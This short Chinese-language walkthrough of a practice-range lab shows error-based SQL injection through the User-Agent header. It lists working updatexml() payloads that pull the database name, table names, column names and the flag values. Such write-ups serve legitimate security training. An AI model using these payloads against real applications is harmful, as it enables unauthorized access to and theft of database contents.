盲注 3 —— 通过Head注入
测试靶场(掌控安全学院SQL注入靶场):https://hack.zkaq.cn/battle/target?id=6b59d4693fb1bfbe
- 分析:以正确账号密码登录后,网站会记录当前User-Agent,以此尝试是否可以在写入User-Agent时注入SQL
- 通过BurpSuite抓取包,修改User-Agent,尝试通过
updatexml()
函数报错来获取一些数据库信息
User-Agent: 'or updatexml(1,concat('~',(select database())),1))#
报错显示,当前库名为head_error
- 构造注入语句,获取数据库表名:flag_head、ip、refer、uagent、user
User-Agent: 'or updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),1) #
- 找出flag_head中的字段:Id、flag_h1
User-Agent: 'or updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='flag_head' and table_schema=database() limit 2,1)),1),1) #
- 找出flag_h1中的关键数据:zKaQ-YourHd、zKaQ-Refer、zKaQ-ipip
- 提交flag。